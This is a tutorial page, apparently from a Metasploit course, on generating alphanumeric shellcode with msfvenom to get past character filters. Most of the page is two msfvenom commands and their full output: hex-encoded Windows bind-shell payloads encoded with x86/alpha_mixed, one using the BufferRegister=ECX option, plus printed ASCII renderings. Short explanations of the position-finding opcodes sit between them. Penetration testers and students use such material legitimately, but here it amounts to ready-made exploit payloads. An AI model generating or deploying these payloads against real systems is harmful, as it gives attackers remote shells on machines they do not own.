Alphanumeric Shellcode a11y.text Alphanumeric Shellcode Generating Alphanumeric Shellcode with Metasploit a11y.text Generating Alphanumeric Shellcode with Metasploit There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited application. The Metasploit FrameworkÂ can easily generate alphanumeric shellcode through Msfvenom . For example, to generate a mixed alphanumeric uppercase- and lowercase-encoded shellcode, we can use the following command: root@kali : ~ # msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed -f python Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/alpha_mixed

x86/alpha_mixed succeeded with size 660 (iteration=0)

x86/alpha_mixed chosen with final size 660

Payload size: 660 bytes

buf =  ""

buf += "\x89\xe2\xdb\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49"

buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"

buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"

buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"

buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x68\x68\x4f"

buf += "\x72\x67\x70\x45\x50\x65\x50\x73\x50\x4b\x39\x69\x75"

buf += "\x70\x31\x69\x50\x51\x74\x6e\x6b\x42\x70\x54\x70\x6c"

buf += "\x4b\x53\x62\x76\x6c\x4c\x4b\x33\x62\x75\x44\x4c\x4b"

buf += "\x43\x42\x47\x58\x54\x4f\x6c\x77\x42\x6a\x55\x76\x44"

buf += "\x71\x69\x6f\x6c\x6c\x57\x4c\x43\x51\x43\x4c\x77\x72"

buf += "\x34\x6c\x65\x70\x39\x51\x4a\x6f\x56\x6d\x66\x61\x6b"

buf += "\x77\x48\x62\x6b\x42\x62\x72\x50\x57\x4e\x6b\x72\x72"

buf += "\x54\x50\x4e\x6b\x62\x6a\x57\x4c\x4e\x6b\x62\x6c\x37"

```
buf += "\x61\x63\x48\x4d\x33\x42\x68\x33\x31\x38\x51\x42\x71"

buf += "\x6e\x6b\x56\x39\x47\x50\x47\x71\x6b\x63\x6c\x4b\x32"

buf += "\x69\x52\x38\x4b\x53\x35\x6a\x51\x59\x6c\x4b\x50\x34"

buf += "\x4c\x4b\x45\x51\x6b\x66\x35\x61\x49\x6f\x6c\x6c\x79"

buf += "\x51\x78\x4f\x46\x6d\x77\x71\x49\x57\x35\x68\x79\x70"

buf += "\x34\x35\x4c\x36\x57\x73\x73\x4d\x59\x68\x67\x4b\x73"

buf += "\x4d\x56\x44\x70\x75\x48\x64\x31\x48\x6e\x6b\x50\x58"

buf += "\x54\x64\x43\x31\x6b\x63\x35\x36\x6c\x4b\x76\x6c\x72"

buf += "\x6b\x4e\x6b\x70\x58\x35\x4c\x43\x31\x78\x53\x4e\x6b"

buf += "\x36\x64\x4c\x4b\x65\x51\x6a\x70\x4c\x49\x53\x74\x66"

buf += "\x44\x75\x74\x31\x4b\x71\x4b\x45\x31\x61\x49\x63\x6a"

buf += "\x30\x51\x49\x6f\x39\x70\x63\x6f\x63\x6f\x72\x7a\x6c"

buf += "\x4b\x55\x42\x68\x6b\x6e\x6d\x43\x6d\x55\x38\x37\x43"

buf += "\x76\x52\x43\x30\x57\x70\x63\x58\x52\x57\x63\x43\x74"

buf += "\x72\x63\x6f\x62\x74\x65\x38\x50\x4c\x44\x37\x77\x56"

buf += "\x54\x47\x39\x6f\x49\x45\x68\x38\x6a\x30\x73\x31\x35"

buf += "\x50\x67\x70\x75\x79\x68\x44\x70\x54\x52\x70\x72\x48"

buf += "\x74\x69\x4f\x70\x50\x6b\x63\x30\x39\x6f\x4e\x35\x71"

buf += "\x7a\x34\x4b\x70\x59\x56\x30\x68\x62\x59\x6d\x73\x5a"

buf += "\x65\x51\x72\x4a\x57\x72\x71\x78\x5a\x4a\x36\x6f\x59"

buf += "\x4f\x4b\x50\x79\x6f\x39\x45\x6f\x67\x50\x68\x77\x72"

buf += "\x37\x70\x57\x61\x73\x6c\x6d\x59\x4b\x56\x73\x5a\x34"

buf += "\x50\x52\x76\x33\x67\x30\x68\x49\x52\x49\x4b\x50\x37"

buf += "\x32\x47\x79\x6f\x68\x55\x6b\x35\x79\x50\x70\x75\x33"

buf += "\x68\x63\x67\x50\x68\x6d\x67\x78\x69\x45\x68\x79\x6f"

buf += "\x59\x6f\x39\x45\x33\x67\x65\x38\x62\x54\x58\x6c\x45"
```

buf += "\x6b\x39\x71\x6b\x4f\x69\x45\x66\x37\x6e\x77\x52\x48"

buf += "\x70\x75\x52\x4e\x52\x6d\x71\x71\x69\x6f\x58\x55\x62"

buf += "\x4a\x55\x50\x43\x5a\x73\x34\x70\x56\x70\x57\x31\x78"

buf += "\x33\x32\x4e\x39\x48\x48\x53\x6f\x79\x6f\x38\x55\x6d"

buf += "\x53\x7a\x58\x55\x50\x53\x4e\x46\x4d\x6e\x6b\x77\x46"

buf += "\x30\x6a\x33\x70\x33\x58\x43\x30\x46\x70\x55\x50\x77"

buf += "\x70\x51\x46\x53\x5a\x77\x70\x71\x78\x31\x48\x6f\x54"

buf += "\x51\x43\x59\x75\x4b\x4f\x59\x45\x6c\x53\x61\x43\x62"

buf += "\x4a\x65\x50\x31\x46\x36\x33\x61\x47\x30\x68\x77\x72"

buf += "\x79\x49\x49\x58\x31\x4f\x79\x6f\x6e\x35\x6e\x63\x38"

buf += "\x78\x55\x50\x61\x6e\x76\x67\x53\x31\x58\x43\x36\x49"

buf += "\x39\x56\x43\x45\x59\x79\x4f\x33\x41\x41" If you look deeper at the generated shellcode, you will see that there are some non-alphanumeric characters: >>> print buf

ï¿½ï¿½ï¿½ï¿½ï¿½wï¿½[SYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lZHnbu

Pgpc0QpmYxe4qO0atLK2pFPNkpRFlLKv2gdn

kbRq8DOMgbjev4qKOLlGLCQ3LwrtlgPiQzotMs1O7irkBF2aGLK3bfpNk2j7LlKrlFq3HZCrhvan1Sank

byupUQhSnkQYDXzCEjriNkttlKC

1kffQIonLiQZo4MeQIWvXyprUzVTCSMxxWK1mVDD5KT68LK68dd31kcE6LKVl2klKcheLuQN3Nkc

4LK6ajpoyG4gTWTQK1K0a2yCj3aIoKP1

OqORzLKVrxkLMQM2H5c7B30wp2H47CC7BqO1Dqx0LPwuv6g9oxUoHz06a305P5yO4QDrpu8Uy

opRKwpKOxUBJdKaIv0zBKM1zWq0jdB1xKZf

oYOypyoKeMGPhDBC0gaCloyxfcZb0V6cgCX8B9K07E7IozunekpsE2xpWbHh78iehioyohUQGbHq

djLGKhaiokepWLW3XpubN0MpaiojucZg

prJ5TQF1GCXtByIZhQOkO9EosZX30Qn4mLK5fpjqPu8wp6p30uPBvpjC0SX3hMt3ciuYoiEOcQC0j

c0Sf633gu8eR9IzhsoIoxUK38xEPand

GWq8CuyxFSE8iySAA This is due to the opcodes (â€œ\x89\xe2\xdb\xdb\xd9\x72â€•) at the

beginning of the payload, which are needed in order to find the payloads absolute location in memory and obtain a fully position-independent shellcode: Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the ECX register, which will then be used to calculate relative offsets. However, if we are somehow able to obtain the absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can use the special option BufferRegister=REG32 while encoding our payload:

root@kali : ~ # msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/alpha_mixed BufferRegister = ECX -f python Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/alpha_mixed

x86/alpha_mixed succeeded with size 651 (iteration=0)

x86/alpha_mixed chosen with final size 651

Payload size: 651 bytes

buf =  ""

buf += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"

buf += "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41"

buf += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"

buf += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"

buf += "\x6c\x49\x78\x4d\x52\x77\x70\x47\x70\x47\x70\x35\x30"

buf += "\x6e\x69\x49\x75\x44\x71\x79\x50\x42\x44\x6c\x4b\x72"

buf += "\x70\x74\x70\x6e\x6b\x50\x52\x34\x4c\x6c\x4b\x43\x62"

buf += "\x57\x64\x6c\x4b\x33\x42\x56\x48\x74\x4f\x6d\x67\x72"

buf += "\x6a\x45\x76\x46\x51\x79\x6f\x6c\x6c\x75\x6c\x71\x71"

buf += "\x63\x4c\x43\x32\x36\x4c\x75\x70\x79\x51\x7a\x6f\x36"

buf += "\x6d\x33\x31\x48\x47\x38\x62\x39\x62\x56\x32\x43\x67"

buf += "\x6c\x4b\x62\x72\x52\x30\x6c\x4b\x63\x7a\x57\x4c\x6c"

buf += "\x4b\x32\x6c\x54\x51\x63\x48\x4a\x43\x37\x38\x33\x31"

```
buf += "\x6e\x31\x42\x71\x4e\x6b\x62\x79\x55\x70\x37\x71\x7a"

buf += "\x73\x6e\x6b\x50\x49\x76\x78\x78\x63\x55\x6a\x47\x39"

buf += "\x6e\x6b\x45\x64\x6e\x6b\x55\x51\x4a\x76\x64\x71\x69"

buf += "\x6f\x4e\x4c\x7a\x61\x78\x4f\x54\x4d\x36\x61\x79\x57"

buf += "\x74\x78\x79\x70\x74\x35\x68\x76\x35\x53\x51\x6d\x38"

buf += "\x78\x75\x6b\x31\x6d\x56\x44\x31\x65\x59\x74\x56\x38"

buf += "\x4c\x4b\x33\x68\x55\x74\x75\x51\x4e\x33\x73\x56\x4c"

buf += "\x4b\x76\x6c\x52\x6b\x4c\x4b\x66\x38\x65\x4c\x63\x31"

buf += "\x4b\x63\x6e\x6b\x64\x44\x6e\x6b\x35\x51\x6e\x30\x4c"

buf += "\x49\x73\x74\x61\x34\x31\x34\x73\x6b\x73\x6b\x75\x31"

buf += "\x70\x59\x72\x7a\x36\x31\x4b\x4f\x79\x70\x53\x6f\x61"

buf += "\x4f\x63\x6a\x4e\x6b\x35\x42\x68\x6b\x4e\x6d\x61\x4d"

buf += "\x61\x78\x34\x73\x56\x52\x55\x50\x53\x30\x53\x58\x63"

buf += "\x47\x33\x43\x74\x72\x51\x4f\x66\x34\x75\x38\x50\x4c"

buf += "\x43\x47\x55\x76\x54\x47\x6b\x4f\x6e\x35\x4e\x58\x5a"

buf += "\x30\x53\x31\x43\x30\x75\x50\x36\x49\x38\x44\x42\x74"

buf += "\x52\x70\x73\x58\x35\x79\x6f\x70\x72\x4b\x45\x50\x69"

buf += "\x6f\x49\x45\x70\x6a\x74\x4b\x72\x79\x42\x70\x4b\x52"

buf += "\x79\x6d\x31\x7a\x65\x51\x73\x5a\x65\x52\x73\x58\x38"

buf += "\x6a\x64\x4f\x59\x4f\x59\x70\x79\x6f\x59\x45\x4a\x37"

buf += "\x50\x68\x46\x62\x67\x70\x67\x61\x61\x4c\x4f\x79\x6b"

buf += "\x56\x53\x5a\x74\x50\x71\x46\x43\x67\x63\x58\x7a\x62"

buf += "\x39\x4b\x70\x37\x53\x57\x69\x6f\x4a\x75\x4b\x35\x6b"

buf += "\x70\x54\x35\x72\x78\x46\x37\x52\x48\x6d\x67\x6a\x49"

buf += "\x54\x78\x69\x6f\x39\x6f\x5a\x75\x31\x47\x51\x78\x62"

buf += "\x54\x48\x6c\x75\x6b\x79\x71\x79\x6f\x4a\x75\x43\x67"
```

buf += "\x6a\x37\x43\x58\x42\x55\x72\x4e\x52\x6d\x31\x71\x6b"

buf += "\x4f\x4a\x75\x30\x6a\x75\x50\x71\x7a\x44\x44\x70\x56"

buf += "\x63\x67\x51\x78\x65\x52\x59\x49\x49\x58\x61\x4f\x79"

buf += "\x6f\x5a\x75\x4b\x33\x6c\x38\x45\x50\x43\x4e\x54\x6d"

buf += "\x4e\x6b\x46\x56\x52\x4a\x53\x70\x31\x78\x53\x30\x76"

buf += "\x70\x37\x70\x55\x50\x46\x36\x42\x4a\x65\x50\x52\x48"

buf += "\x51\x48\x6d\x74\x33\x63\x38\x65\x39\x6f\x6e\x35\x5a"

buf += "\x33\x52\x73\x63\x5a\x75\x50\x42\x76\x46\x33\x43\x67"

buf += "\x63\x58\x74\x42\x48\x59\x7a\x68\x73\x6f\x39\x6f\x78"

buf += "\x55\x4f\x73\x69\x68\x65\x50\x73\x4e\x64\x47\x45\x51"

buf += "\x6a\x63\x34\x69\x6a\x66\x72\x55\x4d\x39\x49\x53\x41"

buf += "\x41" This time we obtained a pure alphanumeric shellcode: >>> print buf

IIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLIxk2GpC0wpapk9IufQ9PpdLKF0dpLKS

bvlNkQBB4LKcBq8dOlwrjUvV

QYoNLulU1SL32Tlq0zaXO4M6ahGKRIbCbrwNkf2vplK3zElNkrlR1D88cRhfaKaRqlKaIa05Q9Cnksy

4XzCdzBiNk5dlKgqn6dqYoLl9QzoF

mgqyWgHIpPuzV4CsMjXwKQmUtt5M4BxNk1HUtEQzs56nkFl0KLKaHGlGqzslKwtlKGqJpK9PDTd7

TCkckqq693jCaIom0sosobznkr2Xknma

MBHVSTrc0C0BHqgcCDr3oaDu8RlBW16c7KOXULxZ0S1C05PQ9jdqDrp3XEyOpBKgpyo9Eqz6kb

yV08bIm2JfaqzTBU8zJ4OkoYpIohUz72HF

bePVqSlNi8fbJTPv6Rw0hJbKkVWRGioKeLEIP1ev81GRHMgM9vXkO9oHUqGBHadZL5k9qKO8Ub

wlWaxaerNrm0aIon51zwp1zfdaFV7u8eRJ

yxHaOkO8UNc8xS0SNTmLKFVazqPsX5PfpS0EPaFazUP2HbxOTbsIu9ozunsf3pj30Sf1CbwbH32H

YhHQOKOjuos8xuPQnUWwq8Cti9V1eIyZ

cAA In this case, we told msfencode that we took care of finding the shellcodes absolute address and we saved it in the ECX register: As you can see in the previous image, ECX was previously set

in order to point to the beginning of our alphanumeric shellcode. At this point, our payload starts directly realigning ECX to begin the shellcode decoding sequence. Next MSFrop Prev MSFencode